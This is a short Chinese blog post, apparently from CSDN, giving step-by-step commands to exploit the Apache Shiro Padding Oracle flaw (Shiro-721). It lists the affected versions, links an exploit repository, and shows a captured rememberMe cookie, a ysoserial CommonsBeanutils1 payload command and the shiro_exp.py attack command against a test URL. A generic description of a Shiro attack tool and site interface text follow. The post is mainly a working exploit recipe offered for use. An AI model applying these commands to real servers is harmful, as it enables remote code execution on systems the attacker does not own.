Shiro Padding Oracle Attack

220 篇文章 7 订阅
213 篇文章 3 订阅

影响版本(影响1.2.4之后):
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

下载:
https://github.com/3ndz/Shiro-721

# 安装paddingoracle
python2 setup.py install

# 准备登陆成功之后的rememberMe的Cookie值
qMkdx0k1eAJ3Ds0BwAwhVUm9wJRQFyBCt8zOVkFsR2VHiFfaRynCFWACjNET0dMYe58QkWSoc3DUXpZji5AD4Pqmt/3b7+0QO8142fwnB7ejIiNgMay2Rf+OaNEqZrxmIL+6d5rO49yq8gPlJA74gkXvGgihnT0kU+3riDJmoZBGdVvSRTV/ugl1tViv3Pnpd+QtzOR9v/VAFfLMch/vE+PGhczOwXc6U08cqohaQd0oO60LaBPc4/N87SFL63D/YkZbxFeSUelDYlzc+mLhC8teQlse7rEDs6NE+lq1/0pK7vIawtQ1XjVjwtx+Bz58j0RAMUOnOE+A2tHrL3TC/azSauRhKlXdsNDyVDBffBww5mtrouwBuKtspDyaJIbnS1SoSWbSVNpSnJ/WBIRhuIiSCbzSBnnVwdEmzFtBKdJ5O+t9JWsE7BRENe8kS34g3LBuKADwx1uQTeUpE5KX8qF3E9hXupmOMKkjYQ66j81z1LudadJP5PCLdYXVWFYS

# 准备ysoserial生成的序列化数据文件
D:\repos\Java\jdk1.7.0_80\bin\java.exe -jar D:\repos\ysoserial\target\ysoserial-0.0.8-SNAPSHOT-all.jar CommonsBeanutils1 calc > CommonsBeanutils1_calc.ser

# 准备shiro的页面url
http://cqq.com:8088/samples_web_war/home.jsp 

# 开始攻击
"D:\Python27\python2.exe" shiro_exp.py http://cqq.com:8088/samples_web_war/home.jsp qMkdx0k1eAJ3Ds0BwAwhVUm9wJRQFyBCt8zOVkFsR2VHiFfaRynCFWACjNET0dMYe58QkWSoc3DUXpZji5AD4Pqmt/3b7+0QO8142fwnB7ejIiNgMay2Rf+OaNEqZrxmIL+6d5rO49yq8gPlJA74gkXvGgihnT0kU+3riDJmoZBGdVvSRTV/ugl1tViv3Pnpd+QtzOR9v/VAFfLMch/vE+PGhczOwXc6U08cqohaQd0oO60LaBPc4/N87SFL63D/YkZbxFeSUelDYlzc+mLhC8teQlse7rEDs6NE+lq1/0pK7vIawtQ1XjVjwtx+Bz58j0RAMUOnOE+A2tHrL3TC/azSauRhKlXdsNDyVDBffBww5mtrouwBuKtspDyaJIbnS1SoSWbSVNpSnJ/WBIRhuIiSCbzSBnnVwdEmzFtBKdJ5O+t9JWsE7BRENe8kS34g3LBuKADwx1uQTeUpE5KX8qF3E9hXupmOMKkjYQ66j81z1LudadJP5PCLdYXVWFYS D:\repos\ysoserial\CommonsBeanutils1_calc.ser

在这里插入图片描述
据说要几个小时。

据说是在对1.2.4的shiro-550的修复方式中引入的,然后在 Apache Shior(1.4.2)修复。

参考:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Shiro Attack是一种网络安全工具,主要用于测试和评估网络系统的安全性。下面是关于如何使用Shiro Attack的简要说明: 首先,要使用Shiro Attack,你需要安装和配置Java环境,确保你的计算机满足运行要求。 接下来,你需要下载和安装Shiro Attack工具。你可以在Shiro Attack官方网站或GitHub上找到相关的下载链接。请确保你下载和安装最新版本的Shiro Attack以获取最新的功能和修复的漏洞。 一旦安装完成,你可以打开Shiro Attack工具并开始使用它。在主界面上,你可以看到各种选项和功能,如攻击类型、目标URL、Cookie配置等。 首先,你需要确定你想要进行的Shiro Attack类型。Shiro Attack工具提供了几种不同的攻击模式,如Padding Oracle、JRMP Gadgets、Sleep Attack等。你可以根据你的需求选择适合的攻击模式。 接下来,你需要指定目标URL。这是你想要测试和评估的网络系统的URL地址。确保你在URL输入框中输入准确的URL。 然后,你需要进行Cookie配置。有些Shiro Attack类型需要有效的Shiro会话Cookie来进行攻击。你可以通过添加Cookie头或使用Cookie文件来完成配置。 最后,你可以点击“开始”按钮开始执行Shiro Attack。在攻击过程中,你可以实时监视攻击进展和结果。完成后,你可以查看报告,了解攻击的成功率和漏洞信息。 需要注意的是,Shiro Attack是一种专业的安全工具,使用时应谨慎。除非你对网络安全有足够的了解和掌握,否则建议在合法和授权的环境中使用该工具,以避免非法和恶意活动。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值